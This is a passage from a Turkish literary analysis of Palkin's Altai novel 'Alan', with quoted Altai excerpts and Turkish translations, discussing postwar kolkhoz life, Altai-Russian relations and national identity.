\u015fa\u015f\u0131rt\u0131c\u0131d\u0131r. Sava\u015ftan d\u00f6nen \u00c7anc\u0131k, etraf\u0131na toplanan insanlarla sohbet ederken \u00e7akma\u011f\u0131yla sigaras\u0131n\u0131 yakar. \u0130nsanlar elindeki \u00e7akma\u011fa \u015fa\u015f\u0131r\u0131r ve onun kolm\u0131lt\u0131k<\/em> (tabanca) bile olabilece\u011fini d\u00fc\u015f\u00fcn\u00fcrler. Teknolojiden bu kadar uzakta kalm\u0131\u015f k\u00fc\u00e7\u00fck bir toplumun b\u00fct\u00fcn \u00fcretimi ve ekonomisi kolhozdaki k\u0131r hayat\u0131na, \u00f6zellikle ot bi\u00e7me, et ve s\u00fct \u00fcr\u00fcnlerine dayal\u0131 \u00fcretim \u00fczerine kurulmu\u015fken SSCB i\u00e7indeki ve d\u0131\u015f\u0131ndaki halklara yard\u0131m etme iste\u011fi ve \u00e7abas\u0131 kendi i\u00e7inde takdire de\u011fer bir toplumsal duygudur. Bu duyguyla Palkin, roman\u0131nda SSCB i\u00e7inde ideal bir toplum yaratma iste\u011fini dile getirir.<\/p>\n\n\n\n Sava\u015f\u0131n getirdi\u011fi psikolojik sorunlar\u0131n \u00fcstesinden gelebilmek i\u00e7in bireyin ya da toplumun \u00fclkede ve d\u00fcnyada neler olup bitti\u011finin fark\u0131nda olmas\u0131 gerekir. Sorunlarla ba\u015fa \u00e7\u0131kman\u0131n bir yolu da bu fark\u0131ndal\u0131kt\u0131r. Sibirya\u2019n\u0131n \u00fccra bir k\u00f6\u015fesindeki bu k\u00fc\u00e7\u00fck halk, kom\u00fcnizmin d\u00fcnyadaki g\u00fcncel durumundan haberdar olmakla birlikte ayn\u0131 zamanda ba\u015fka olaylar\u0131 da takip etmeye \u00e7al\u0131\u015f\u0131r. Fakat okuduklar\u0131 ya da dinledikleri \u00fclkelerle ilgili harita bilgilerinin oldu\u011fu dahi s\u00f6ylenemez. Edinilen bilgiler geleneksel bilgi birikimiyle yorumlan\u0131r ve daha \u00e7ok mitoloji referans al\u0131n\u0131r. ABD\u2019nin Japonya\u2019ya atom bombas\u0131 att\u0131\u011f\u0131 haberi Altay\u2019a ula\u015f\u0131r. Alan, e\u011fitimsiz oldu\u011fu i\u00e7in durumu anlamakta zorlan\u0131r. Bu arada yazar, \u00f6rt\u00fcl\u00fc olarak da olsa, Altayl\u0131lar\u0131n \u201cJapon ka\u011fan\u0131\u201dna duydu\u011fu sempatiyi Car\u0131n\u00e7\u0131 Calbay\u2019\u0131n a\u011fz\u0131ndan dile getirir:<\/p>\n\n\n\n Ol neme calk\u0131nna\u00f1 k\u00fc\u00e7t\u00fc dep ayd\u0131jat. Ot-calb\u0131j\u0131 cerdi\u00f1 \u00fcstin calap, b\u00fctk\u00fcl gorodt\u0131 cogolt\u0131p salgan dejet. Kiji le kaykaar neme \u2013 dep, car\u0131n\u00e7\u0131 Calbay \u00e7okumdap ayd\u0131p oturd\u0131, bayla, ol kereginde k\u00f6p ukkan o\u015fko\u015f. \u2013 \u00c7\u0131ndap ta, cer-te\u00f1erini\u00f1 koskor\u0131l\u0131p ceten \u00e7akt\u0131n kleetkenin bu bolboy. Ol neme Copon kaann\u0131\u00f1 cerinde bolgon degen bedi?.. Tuku ald\u0131nda, men ki\u00e7inek c\u00fcrerimde, Copon kaand\u0131 s\u00fcreen kaan dep ayd\u0131j\u0131p turatan. On\u0131\u00f1 cerin ot cetker \u00f6rt\u00f6p iygende, cak\u015f\u0131 la cok<\/em> (126).<\/p>\n\n\n\n O \u015fey, \u015fim\u015fekten daha g\u00fc\u00e7l\u00fc diyorlar. Alevi yerin \u00fcst\u00fcn\u00fc yalay\u0131p, b\u00fct\u00fcn bir \u015fehri yok ediyor diyorlar. \u0130nsan\u0131 hayrete d\u00fc\u015f\u00fcren bir \u015fey, diye k\u00fcrek kemi\u011finden fal bakan Calbay a\u00e7\u0131k\u00e7a konu\u015ftu, belli ki, olay hakk\u0131nda \u00e7ok \u015fey dinlemi\u015fti. Ger\u00e7ekten yery\u00fcz\u00fcn\u00fcn darmada\u011f\u0131n olup k\u0131yametin gelmesi midir bu? Bu felaket Japon ka\u011fan\u0131n\u0131n yurdunda m\u0131 olmu\u015ftu?.. Epey \u00f6nceden, ben daha \u00e7ocukken Japon ka\u011fan\u0131n\u0131 iyi bir ka\u011fan olarak duymu\u015ftum. Onun \u00fclkesinde b\u00f6yle bir felaket olmas\u0131, yurdunun yak\u0131l\u0131p y\u0131k\u0131lmas\u0131 hayra alamet de\u011fil.<\/p>\n\n\n\n \u201cCar\u0131n\u00e7\u0131\u201d, k\u00fcrek kemi\u011finden fal bakan ki\u015fiye denilir. Bu \u015fekilde okuyucu k\u00fcrek kemi\u011finden fal bakma gibi geleneksel hatta \u015famanik bir uygulaman\u0131n 20. y\u00fczy\u0131l\u0131n ortalar\u0131nda devam etti\u011fini g\u00f6r\u00fcr. Altay T\u00fcrklerinin Japonlara ve Japon imparatoruna sempati duymas\u0131 1904 y\u0131l\u0131nda ba\u015flayan Ak Ca\u00f1<\/em> (Burhanizm) hareketine kadar dayan\u0131r. \u015e\u00f6yle ki, hareketin ba\u015flad\u0131\u011f\u0131 y\u0131llarda Rus-Japon Sava\u015f\u0131 devam etmektedir. Japonlar Port Arthur\u2019dan Asya ana karas\u0131na \u00e7\u0131k\u0131p ilerlemeye ba\u015flam\u0131\u015flard\u0131r. Ortodoks misyonerler, Rus g\u00f6\u00e7men ve t\u00fcccarlar kar\u015f\u0131s\u0131nda ezilen Altay T\u00fcrkleri Japon imparatorunu kendileri i\u00e7in umut olarak g\u00f6rm\u00fc\u015flerdir. Car\u0131n\u00e7\u0131 Calbay\u2019\u0131n dile getirdi\u011fi sempatinin kayna\u011f\u0131 budur.<\/p>\n\n\n\n Alan<\/em> roman\u0131n\u0131n sava\u015f sonras\u0131 SSCB k\u0131rsal\u0131ndaki b\u00fct\u00fcn kolhozlar\u0131n ve buralarda ya\u015fananlar\u0131n bir \u00f6rne\u011fi oldu\u011funu s\u00f6ylemek de yanl\u0131\u015f olmaz. Roman boyunca Alan Toktubay\u2019\u0131n ki\u015fisel ili\u015fkileri, kolhoz ya\u015fam\u0131n\u0131n olumlu olumsuz yanlar\u0131, d\u00f6nemi temsil eden tipler ve kurumlar enine boyuna i\u015flenir. Palkin, d\u00f6nemi temsil eden hemen her tipi, durumu, olay\u0131 roman\u0131nda i\u015flemeyi ba\u015farm\u0131\u015ft\u0131r. Bir taraftan kolektif ya\u015fam ilkesine ba\u011fl\u0131 kal\u0131p kolhoz ya\u015fam\u0131n\u0131 ustal\u0131kla i\u015flerken, di\u011fer taraftan yeni hayat\u0131 ve ona ait her \u015feyi de ba\u015far\u0131yla olumlam\u0131\u015ft\u0131r. Yazar, 1940 ve 50\u2019li y\u0131llar\u0131n Altay toplumunu, onlar\u0131n olaylara ve ya\u015fama bak\u0131\u015f a\u00e7\u0131lar\u0131n\u0131, i\u00e7lerinde ta\u015f\u0131d\u0131klar\u0131 mitolojik alg\u0131yla olaylar\u0131 yorumlamalar\u0131n\u0131 vs. do\u011fal bir dille kaleme alm\u0131\u015ft\u0131r. Yazar\u0131n anlat\u0131m\u0131nda bir taraftan SSCB vatanda\u015f\u0131 olman\u0131n, di\u011fer taraftan Altay kimli\u011fini ta\u015f\u0131man\u0131n verdi\u011fi sorumluluk hissedilir. O, yeni hayat\u0131 mutlulukla kar\u015f\u0131lasa da Altayl\u0131 olman\u0131n gururunu okuyucuya bazen im\u00e2 yoluyla bazen de a\u00e7\u0131k\u00e7a belli eder.<\/p>\n\n\n\n Palkin, roman\u0131nda Altay kimli\u011fini koruman\u0131n \u00f6nemini \u00e7ocuklara verilen adlar \u00e7er\u00e7evesinde de ele al\u0131r. Roman\u0131n en son yaz\u0131lm\u0131\u015f fakat romana d\u00e2hil edilememi\u015f \u201cCazalbagan Col\u201d b\u00f6l\u00fcm\u00fcnde yazar konuyu \u015f\u00f6yle i\u015fler:<\/p>\n\n\n\n Baldard\u0131 kar\u0131n, cara\u015f attarda\u00f1 tabala, adaar kerek. Bu la slerdi\u00f1 on\u00e7ogord\u0131\u00f1 attaraar ne aaylu solun, cak\u015f\u0131. B\u0131lt\u0131r cayg\u0131da ekskursiyaga Moskvaga bar\u0131p c\u00fcreriste, bisti\u00f1 bir k\u0131sta\u00f1 Moskvan\u0131\u00f1 bir kijizi ad\u0131n kem dep suragan. Ol bala \u201cVeronika\u201d degen. Ol kiji kelip katk\u0131rgan. \u201cSen b\u00fcd\u00fcjine\u00f1 k\u00f6rz\u00f6\u00f1, kand\u0131y sen Veronika?..\u201d degen. Ol \u00e7\u0131n ayd\u0131p cat. Kaj\u0131 la kiji boy\u0131n\u0131\u00f1 ad\u0131la c\u00fcrer kerek. Ugarga da cak\u015f\u0131. Orus boy\u0131n\u0131\u00f1 ad\u0131la, moldovan, kazah baza boy\u0131n\u0131\u00f1 attar\u0131la\u2026 Ol tu\u015fta c\u00fcrerge de solun. Bu ecem ekinci k\u0131z\u0131n Nata\u015fa dep adap algan. Ondo bir de caman cok. Ce biz boy\u0131st\u0131 baza camandabas u\u00e7urlu. Biste cara\u015f attar cok po? Ol ozog\u0131 ulust\u0131\u00f1 attar\u0131n men tort lo kaykap, cilbirkep ugad\u0131m<\/em> (Palkin 1997: 28)<\/p>\n\n\n\n \u00c7ocuklara g\u00fczel, iyi adlar vermeli. Sizin adlar\u0131n\u0131z ne kadar de\u011fi\u015fik, iyi. Ge\u00e7en y\u0131l yaz mevsiminde e\u011fitim gezisi i\u00e7in Moskova\u2019ya gitti\u011fimizde bir Moskoval\u0131 bizim k\u0131zlardan birine ad\u0131n\u0131 sordu. Gen\u00e7 k\u0131z, \u201cVeronika\u201d diye cevap verdi. O ki\u015fi kahkahalarla g\u00fcld\u00fc. \u201cSen g\u00f6r\u00fcn\u00fc\u015f\u00fcne baksana, nas\u0131l Veronika olabilirsin?\u201d O, ger\u00e7e\u011fi s\u00f6yl\u00fcyordu. Herkese kendi dilinin ad\u0131yla ad verilmeli. Kula\u011fa ho\u015f gelen de bu. Rus kendi ad\u0131yla, Moldovyal\u0131, Kazak da kendi adlar\u0131yla\u2026 \u00d6yle ya\u015famak daha g\u00fczel. Ablam ikinci k\u0131z\u0131na Nata\u015fa ad\u0131n\u0131 verdi. Bunda k\u00f6t\u00fc bir durum yok. Fakat bizler kendimizi k\u00f6t\u00fc, al\u00e7ak g\u00f6rmemeliyiz. Bizim g\u00fczel adlar\u0131m\u0131z yok mu? Eski insanlar\u0131n adlar\u0131 bana hep hayret verici ve ilgin\u00e7 gelmi\u015ftir.<\/p>\n\n\n\n Bu ifadelerde g\u00f6r\u00fclen milliyet\u00e7ilik anlay\u0131\u015f\u0131 roman\u0131n \u201cCazalbagan Col\u201d b\u00f6l\u00fcm\u00fcnde daha a\u00e7\u0131k bir \u015fekilde g\u00f6r\u00fcl\u00fcr. Bu b\u00f6l\u00fcmde vatan sevgisi gen\u00e7 bir k\u0131z olan Ciylek ve ya\u015fl\u0131 bir \u00f6\u011fretmen \u00fczerinden verilir:<\/p>\n\n\n\n Kalgan\u00e7\u0131 \u00f6yl\u00f6rd\u00f6 ol boy\u0131 da sespes can\u0131na\u00f1 \u00e7\u0131kkan-\u00f6sk\u00f6n ceri, t\u00f6r\u00f6l albat\u0131z\u0131 kereginde k\u00f6p sananar bolgon. Ol kereginde studentter baza k\u00f6p kuu\u00e7\u0131ndaj\u0131p cat. Olor kezikte \u00fcred\u00fc \u00f6d\u00fcp cadar \u00f6yd\u00f6 prepodavatelderine ook albat\u0131lard\u0131\u00f1 \u00f6z\u00fcmi kereginde k\u00f6p suraktar bergileyten. \u2013 Albat\u0131gar aay\u0131n\u00e7a sananar\u0131gar coldu. Ciit kiji \u00f6z\u00fcp-\u00e7\u0131datan ayas t\u00f6r\u00f6l kal\u0131k-con\u0131, \u00f6sk\u00f6n ceri kereginde sananar\u0131 cart \u2013 dep, uzun s\u0131ndu, buur\u0131l ba\u015ftu, un\u00e7ukpas \u00fcred\u00fc\u00e7i \u00f6b\u00f6g\u00f6n booro cask\u0131da aytkan. \u2013 Neni\u00f1 u\u00e7un deze, boy\u0131n\u0131\u00f1 albat\u0131z\u0131n s\u00fc\u00fcp bilbes kiji oroon\u0131n da s\u00fc\u00fcp bolbos (29). (Palkin 1997: 28)<\/p>\n\n\n\n Son zamanlarda kendisi de i\u00e7ten i\u00e7e do\u011fup b\u00fcy\u00fcd\u00fc\u011f\u00fc yer ve mensup oldu\u011fu millet hakk\u0131nda d\u00fc\u015f\u00fcn\u00fcr oldu. \u00d6\u011frenciler bu konu hakk\u0131nda kendi aralar\u0131nda \u00e7ok konu\u015fuyorlard\u0131. Onlar bazen ders sonlar\u0131nda \u00f6\u011fretmenlerine k\u00fc\u00e7\u00fck halklar\u0131n geli\u015fimi hakk\u0131nda sorular soruyorlard\u0131. \u2013 Milletiniz hakk\u0131ndaki sorular\u0131n\u0131zda hakl\u0131s\u0131n\u0131z. Gen\u00e7ler kendilerini b\u00fcy\u00fcten milletleri ve vatanlar\u0131 hakk\u0131nda d\u00fc\u015f\u00fcnmelidirler, uzun boylu, ak ba\u015fl\u0131, fazla konu\u015fkan olmayan ihtiyar \u00f6\u011fretmen sonbaharda b\u00f6yle demi\u015fti. \u00c7\u00fcnk\u00fc halk\u0131n\u0131 sevmeyen ki\u015fi \u00fclkesini de sevmez.<\/p>\n\n\n\n II. D\u00fcnya Sava\u015f\u0131 sonras\u0131nda bir Altay k\u00f6y\u00fcndeki hayat\u0131 anlatan roman, 1942 y\u0131l\u0131nda orduya al\u0131nan Alan\u2019\u0131n 1945 y\u0131l\u0131n\u0131n yaz\u0131nda ya\u011fmurlu bir g\u00fcnde yurduna geri d\u00f6nmesiyle ba\u015flar. Yurduna yakla\u015ft\u0131k\u00e7a g\u00f6rd\u00fc\u011f\u00fc her manzara ona ge\u00e7mi\u015finden bir \u015feyler hat\u0131rlat\u0131r. \u0130\u015fte, Cemze\u2019nin \u00e7at\u0131s\u0131z evi, i\u015fte onun annesiyle koyunlar otlatt\u0131\u011f\u0131 yer\u2026 Onu g\u00f6t\u00fcren \u015fof\u00f6r elli ya\u015flar\u0131ndad\u0131r. Sava\u015fta a\u011f\u0131r yaralan\u0131p k\u00f6y\u00fcne d\u00f6nd\u00fc\u011f\u00fcnde o\u011flunun da askere al\u0131nd\u0131\u011f\u0131n\u0131 \u00f6\u011frenmi\u015ftir. O, k\u00f6y\u00fcne getirdi\u011fi Alan gibi kendi o\u011flunun da bir g\u00fcn d\u00f6n\u00fcp gelece\u011fi umudu i\u00e7indedir.<\/p>\n\n\n\n Alan\u2019\u0131n babas\u0131 Toktubay da sava\u015fa kat\u0131lm\u0131\u015f ve 1943 y\u0131l\u0131nda \u00f6lm\u00fc\u015ft\u00fcr. Annesi Karak\u00e7\u0131 ise Alan sava\u015ftan d\u00f6nmeden yakla\u015f\u0131k k\u0131rk g\u00fcn \u00f6nce \u00f6l\u00fcr. Alan\u2019\u0131 evinde yaln\u0131zca ablas\u0131 Calaa ve b\u00fcy\u00fckannesi kar\u015f\u0131lar. Ablas\u0131n\u0131n kocas\u0131 Bark\u0131 da sava\u015ftad\u0131r. Ak\u015fam, k\u00f6y halk\u0131 Alan\u2019\u0131n yan\u0131na gelir. An\u0131lar kutusu a\u00e7\u0131l\u0131r: Sava\u015ftan ve ge\u00e7mi\u015f g\u00fcnlerden s\u00f6z edilir. Alan annesinin \u00f6ld\u00fc\u011f\u00fcn\u00fc ancak bu ak\u015fam \u00f6\u011frenir. Ertesi sabah uyand\u0131\u011f\u0131nda; g\u00f6rd\u00fc\u011f\u00fc her \u015fey ona eski g\u00fcnleri hat\u0131rlat\u0131r. Onlar\u0131n bir\u00e7o\u011funun bug\u00fcn olmamas\u0131 Alan\u2019\u0131 h\u00fcz\u00fcnlendirir. Ge\u00e7mi\u015f, \u015fimdi onun g\u00f6zlerinin \u00f6n\u00fcndedir ve zihninde yeniden canlan\u0131r.<\/p>\n\n\n\n Alan\u2019\u0131n zihninde canlanan sahnelerden biri, Rus olan \u00e7ocukluk arkada\u015f\u0131 Arka\u015fka\u2019d\u0131r. Palkin\u2019in roman\u0131nda \u00e7e\u015fitli y\u00f6nleriyle ele ald\u0131\u011f\u0131 konular\u0131n ba\u015f\u0131nda \u201cAltay ve Rus toplumlar\u0131n\u0131n yak\u0131nla\u015fmas\u0131\u201d gelir. Sava\u015f s\u0131ras\u0131nda Altay b\u00f6lgesi, \u00fclkenin sava\u015ftan zarar g\u00f6rm\u00fc\u015f b\u00f6lgelerinden tahliye edilen Sovyet vatanda\u015flar\u0131n\u0131n isk\u00e2n edildi\u011fi yerlerden biri olmu\u015ftur. Toplamda \u00e7o\u011fu Leningrad ve Ukrayna\u2019dan gelen 7.800\u2019den fazla insan, b\u00f6lgeye yerle\u015ftirilmi\u015ftir. Bunlar\u0131n 627\u2019si Yahudi, 384\u2019\u00fc Ukraynal\u0131, 61\u2019i Belarus, 34\u2019\u00fc Polonyal\u0131, 25\u2019i Estonyal\u0131, 13\u2019\u00fc Alman, 11\u2019i Tatar, 8\u2019i Letonyal\u0131, 7\u2019si Fin, 4\u2019\u00fc Moldovyal\u0131, 3\u2019\u00fc H\u0131rvat, 2\u2019si G\u00fcrc\u00fc, 1\u2019i \u0130talyan, 1\u2019i Litvanyal\u0131 ve 1\u2019i \u0130svi\u00e7relidir.[5<\/a>] Fakat elbette b\u00f6lgenin as\u0131l sakinleri Altay T\u00fcrkleri ve Ruslard\u0131r. H\u00e2liyle romanda da bu iki toplumun il\u015fkisi ve kar\u015f\u0131l\u0131kl\u0131 etkile\u015fimi ele al\u0131nm\u0131\u015ft\u0131r.<\/p>\n\n\n\n Ruslar\u0131n b\u00f6lgeye yerle\u015fmesiyle ba\u015flayan Rus ve Altay de\u011ferlerinin \u00e7at\u0131\u015fmas\u0131, i\u015flenen konulardan biridir. Bu \u00e7at\u0131\u015fman\u0131n bazen uyuma d\u00f6n\u00fc\u015ft\u00fc\u011f\u00fc de g\u00f6r\u00fcl\u00fcr. \u0130ki ayr\u0131 topluma ait de\u011ferler b\u00fct\u00fcn\u00fcn\u00fcn i\u00e7 i\u00e7e ge\u00e7erek uyum sa\u011flad\u0131\u011f\u0131n\u0131 g\u00f6stermenin ve kolhozlarda ya\u015fanan kolektif ya\u015fam tarz\u0131n\u0131 idealize etmenin yazar\u0131n ama\u00e7lar\u0131ndan oldu\u011fu farkedilir. Bu y\u00f6n\u00fcyle Alan\u2019\u0131n bir \u201ctezli roman\u201d oldu\u011funu s\u00f6ylemek m\u00fcmk\u00fcnd\u00fcr. Bunlar\u0131n yazar\u0131n ideolojik tercihleri oldu\u011fu ortadad\u0131r ve bu Sovyet edebiyat\u0131 i\u00e7in olmasa bile genel edebiyat anlay\u0131\u015f\u0131 bak\u0131m\u0131ndan zay\u0131fl\u0131kt\u0131r. Palkin\u2019in roman\u0131nda yapt\u0131\u011f\u0131, K\u0131z\u0131l \u00c7olmon kolhozu \u00fczerinden toplumsal kurumlar\u0131n ve ideolojik yap\u0131n\u0131n yeniden bi\u00e7imlendirilip g\u00fc\u00e7lendi\u011fini vurgulamakt\u0131r. Roman, ayn\u0131 zamanda yaz\u0131ld\u0131\u011f\u0131 d\u00f6nemin ger\u00e7eklerini yans\u0131tmas\u0131 bak\u0131m\u0131ndan da bir \u201cd\u00f6nem roman\u0131\u201dd\u0131r.<\/p>\n\n\n\n K\u00f6y\u00fcn eski hayat\u0131, buraya ta\u015f\u0131nan Ruslar ve onlar\u0131n Altaylara, Altaylar\u0131n da onlara uyum sa\u011flama \u00e7abalar\u0131. Bu uyum sa\u011flama \u00e7abalar\u0131 k\u00f6ye ta\u015f\u0131nan Rus bir ailenin \u00e7ocu\u011fu \u00fczerinden sembolize edilir. Alan\u2019\u0131n \u00e7ocukluk arkada\u015f\u0131 Arka\u015fka, Altay T\u00fcrklerinin ya\u015fant\u0131lar\u0131na uyum sa\u011flamakta ba\u015flang\u0131\u00e7ta zorlanm\u0131\u015ft\u0131r fakat sonunda Calaa\u2019n\u0131n ona verdi\u011fi \u201cecegey\u201di yiyince tad\u0131 ho\u015funa gitmi\u015f ve b\u00f6ylece Altay yemeklerini yemeye ba\u015flam\u0131\u015ft\u0131r.<\/p>\n\n\n\n \u00dc\u00e7-t\u00f6rt c\u0131l \u00f6tk\u00f6n kiyninde Arka\u015fka m\u0131ndag\u0131 c\u00fcr\u00fcmge \u00e7ek \u00fcrene bergen. Altaylap kuu\u00e7\u0131ndap, cast\u0131ra-m\u0131st\u0131ra kokurlap, ulusla kojo brigadalarda i\u015ftep, catkan curtka kand\u0131y da karu bolup kalgan. Kaj\u0131 la kiji: \u201cBisti\u00f1 Arka\u015fkab\u0131s t\u0131\u00f1 uul. A\u00e7\u0131k-car\u0131k, cak\u015f\u0131 k\u00f6\u00f6rkiy\u201d \u2013 dep, s\u00fc\u00fcn\u00e7il\u00fc aydar bolgon<\/em> (16).<\/p>\n\n\n\n \u00dc\u00e7, d\u00f6rt y\u0131l ge\u00e7tikten sonra Arka\u015fka buradaki hayata iyice al\u0131\u015ft\u0131. Altayca konu\u015fup, yalan yanl\u0131\u015f \u015fakala\u015f\u0131p, gruplarla birlikte \u00e7al\u0131\u015f\u0131p, b\u00fct\u00fcn k\u00f6y\u00fcn sevgi ve sempatisini kazand\u0131. Herkes: \u201cBizim Arka\u015fka\u2019m\u0131z sa\u011flam delikanl\u0131. Ayd\u0131nl\u0131k d\u00fc\u015f\u00fcnceli, samimi ve iyidir\u201d diye sevin\u00e7le s\u00f6ylerdi.<\/p>\n\n\n\n Roman\u0131n ilerleyen b\u00f6l\u00fcmlerinden (231) anla\u015f\u0131laca\u011f\u0131 \u00fczere Alan\u2019\u0131n \u00e7ocukluk arkada\u015f\u0131 Arka\u015fka sava\u015fta \u00f6lecektir. Bir Rus \u00e7ocu\u011fu olan \u0130ra da \u00e7ok iyi Altayca konu\u015fmay\u0131 \u00f6\u011frenir. \u0130nsanlar onun hakk\u0131nda tam bir Altay, yaln\u0131zca sa\u00e7\u0131 sar\u0131 derler:<\/p>\n\n\n\n \u0130ra \u00e7ek su-altaylap kuu\u00e7\u0131ndaar, altay la bala o\u015fko\u015f, ca\u00f1\u0131s la \u00e7a\u00e7\u0131 sar\u0131 \u2013 dep, m\u0131ndag\u0131 ulus ayd\u0131jat<\/em> (17).<\/p>\n\n\n\n Buradaki insanlar \u0130ra saf, temiz Altayca konu\u015fuyor, Altay \u00e7ocu\u011fu gibi, yaln\u0131zca sa\u00e7lar\u0131 sar\u0131, diyorlar.<\/p>\n\n\n\n Altay T\u00fcrkleri ve Ruslar aras\u0131ndaki yak\u0131nla\u015fma ve dostluk temas\u0131 Palkin\u2019in \u015fiirlerinde de mevcuttur. \u201cNata\u015fa\u201d \u015fiirinde \u015fair, Moskova\u2019dan Altay\u2019\u0131n uzak bir k\u00f6y\u00fcne gelen gen\u00e7 bir doktoru anlat\u0131r. \u015eiirde Palkin, bir Rus t\u0131p kad\u0131n\u0131 ile Altay\u2019daki bir da\u011f k\u00f6y\u00fcn\u00fcn sakinleri aras\u0131nda geli\u015fen samimi dostlu\u011fu g\u00f6stermeye \u00e7al\u0131\u015f\u0131r. Nata\u015fa, hi\u00e7 \u00e7ekinmeden k\u00f6yl\u00fclere uyum sa\u011flar; endi\u015fe, \u00fcz\u00fcnt\u00fc ve sevin\u00e7li zamanlar\u0131nda onlar\u0131n yan\u0131nda olur. K\u00f6yl\u00fcler de bir \u015f\u00fckran ifadesi olarak yeni do\u011fan k\u0131z \u00e7ocuklar\u0131na Nata\u015fa ad\u0131n\u0131 verirler (Kata\u015f, 2004: 122). \u015e\u00fcphesiz Nata\u015fa ve mesle\u011fi semboliktir. \u015eair bilin\u00e7li bir \u015fekilde gen\u00e7 bir k\u0131z\u0131n safl\u0131\u011f\u0131n\u0131 bir doktorun sa\u011falt\u0131c\u0131l\u0131\u011f\u0131 ve \u015fifac\u0131l\u0131\u011f\u0131 ile birle\u015ftirerek sunmu\u015f, b\u00f6ylece bu gen\u00e7 doktor k\u0131z\u0131n ki\u015fili\u011finde sempatik bir Rus alg\u0131s\u0131 yaratmaya \u00e7al\u0131\u015fm\u0131\u015ft\u0131r. Elbette ona \u015f\u00fckran duyulmas\u0131 gerekti\u011fini de vurgulayarak. Palkin, \u201cAm\u0131r\u201d adl\u0131 \u015fiirinde ise Altay Da\u011flar\u0131\u2019na uygulama i\u00e7in gelen ve t\u0131pk\u0131 Nata\u015fa gibi da\u011f sakinlerinin sevgisini ve sayg\u0131s\u0131n\u0131 kazanmay\u0131 ba\u015faran gen\u00e7 bir Rus k\u0131z\u0131 olan Lena\u2019y\u0131 i\u015fler. B\u00f6ylece okur i\u00e7in Palkin\u2019in zihnindeki Rus imaj\u0131n\u0131n gen\u00e7 bir k\u0131z oldu\u011fu peki\u015fir; iyiliksever, fedak\u00e2r, iyile\u015ftirici\u2026 bir gen\u00e7 k\u0131z.<\/p>\n\n\n\n Yazar her ne kadar roman\u0131nda Altay ve Rus yak\u0131nla\u015fmas\u0131n\u0131 \u00f6ne \u00e7\u0131karan olay ve durumlar yaratm\u0131\u015f olsa da zaman zaman bu iki toplumun farkl\u0131l\u0131klar\u0131 \u00fczerinde de durur. Altay ve Rus k\u00fclt\u00fcrleri aras\u0131ndaki kar\u015f\u0131la\u015ft\u0131rmay\u0131 (ya da farkl\u0131l\u0131\u011f\u0131) domuz \u00fczerinden yapar. Hatta yazar, burada mizah yaparak k\u00fclt\u00fcrl\u00fc bir millet olan Ruslar\u0131n yedi\u011fi bu hayvan\u0131 \u201ckulturn\u0131y mal (k\u00fclt\u00fcrl\u00fc hayvan)\u201d olarak tan\u0131mlar.<\/p>\n\n\n\n A kerek deze m\u0131nd\u0131y Emdik-Sodon b\u0131c\u0131l cayg\u0131da \u201cPartizan Altayda\u00f1\u201d \u00e7o\u00e7kon\u0131\u00f1 caandap kalgan balaz\u0131n tart\u0131p kelgen. Ulus on\u0131 kaykap, sonurkap k\u00f6rg\u00f6n. Ald\u0131nda bu deremnede and\u0131y t\u0131ndu kem de az\u0131rabagan. Kargan ulus on\u0131\u00f1 ad\u0131n da adabaytan. K\u00fccey on\u0131 \u201ct\u00fcrtk\u00fcn\u201d deyten. – C\u00fcr\u00fcm \u00f6sk\u00f6l\u00f6nip cat. Kulturnay ulust\u0131\u00f1 kursag\u0131na \u00fcrener kerek \u2013dep, Emdik-Sodon ekelgen \u00e7o\u00e7koz\u0131na t\u00f6rt tolukt\u0131 tuyuk kajagan tudup, can\u0131n\u0131 cilbirkep k\u00f6r\u00fcp turgandard\u0131 \u00fcredip turgan. \u2013 On\u0131\u00f1 edin bast\u0131ra caan cerlerde cip cat. Bis, aamay k\u00fcr\u00fcmder, ca\u00f1\u0131s la koyd\u0131\u00f1-uyd\u0131\u00f1 edine\u00f1 \u00f6sk\u00f6 neme biler emezis. Kultura dep neme as ta, kanaydar baza. Ol \u201ckulturnay mal\u0131n\u201d \u00f6tk\u00f6n ayga cetire \u00e7utkup az\u0131ragan. On\u0131z\u0131 \u00e7\u0131n la caandap, kileye semirgen. On\u0131 \u00f6lt\u00fcrerine\u00f1 karamdap, Emdik-Sodon kirgen le cerine ol kereginde kuu\u00e7\u0131ndaytan<\/em> (243).<\/p>\n\n\n\n Bir defas\u0131nda bu y\u0131l yaz mevsiminde Emdik-Sodon \u201cPartizan Altay\u201d kolhozundan biraz b\u00fcy\u00fcm\u00fc\u015f bir domuz yavrusu getirdi. \u0130nsanlar ona \u015fa\u015fk\u0131nl\u0131k ve hayretle bakt\u0131. \u00d6nceden bu k\u00f6yde hi\u00e7 kimse b\u00f6yle bir hayvan beslememi\u015fti. \u0130htiyarlar onun ad\u0131n\u0131 bile a\u011f\u0131zlar\u0131na almazlard\u0131. K\u00fccey ona \u201ct\u00fcrtk\u00fcn\u201d derdi. \u2013 Hayat de\u011fi\u015fiyor. K\u00fclt\u00fcrl\u00fc halk\u0131n (Ruslar\u0131n) yiyece\u011fine de al\u0131\u015fmak gerekiyor, diye Emdik-Sodon getirdi\u011fi domuzuna d\u00f6rt k\u00f6\u015feli korunakl\u0131 bir ah\u0131r yapt\u0131, durumu ilgin\u00e7 g\u00f6renleri de al\u0131\u015ft\u0131rd\u0131. \u2013 Onun eti her yerde yeniliyor. Biz, ahmaklar, yaln\u0131zca koyun ve inek etinden ba\u015fka bir \u015fey bilmiyoruz. Ne yapal\u0131m, k\u00fclt\u00fcr\u00fcm\u00fcz az ya ondan. O, \u201ck\u00fclt\u00fcrl\u00fc hayvan\u0131n\u0131\u201d bir s\u00fcre \u00f6zenle besledi. O da iyice semirdi. Emdik-Sodon onu \u00f6ld\u00fcrmeye k\u0131yam\u0131yor, gitti\u011fi her yerde onun hakk\u0131nda konu\u015fuyordu.<\/p>\n\n\n\n Altay ve Rus k\u00fclt\u00fcrlerinin kar\u015f\u0131la\u015ft\u0131r\u0131lmas\u0131yla ilgili bir ba\u015fka b\u00f6l\u00fcm, selamla\u015fmayla ilgilidir. Burada cepheden d\u00f6nm\u00fc\u015f Ek\u00e7ebey, yine kendisi gibi cepheden d\u00f6nen Alan\u2019a sar\u0131l\u0131p onu yanaklar\u0131ndan \u00f6perek kar\u015f\u0131lar.<\/p>\n\n\n\n Ek\u00e7ebey, Aland\u0131 ku\u00e7aktay al\u0131p, orus ulust\u0131\u00f1 ca\u00f1\u0131la ok\u015fop turd\u0131.<\/em> (11).<\/p>\n\n\n\n Ek\u00e7ebey, Alan\u2019\u0131 kucaklay\u0131p Ruslar\u0131n \u00e2detleri gibi yanaklar\u0131ndan \u00f6pt\u00fc.<\/p>\n\n\n\n Bu, oradaki insanlar\u0131 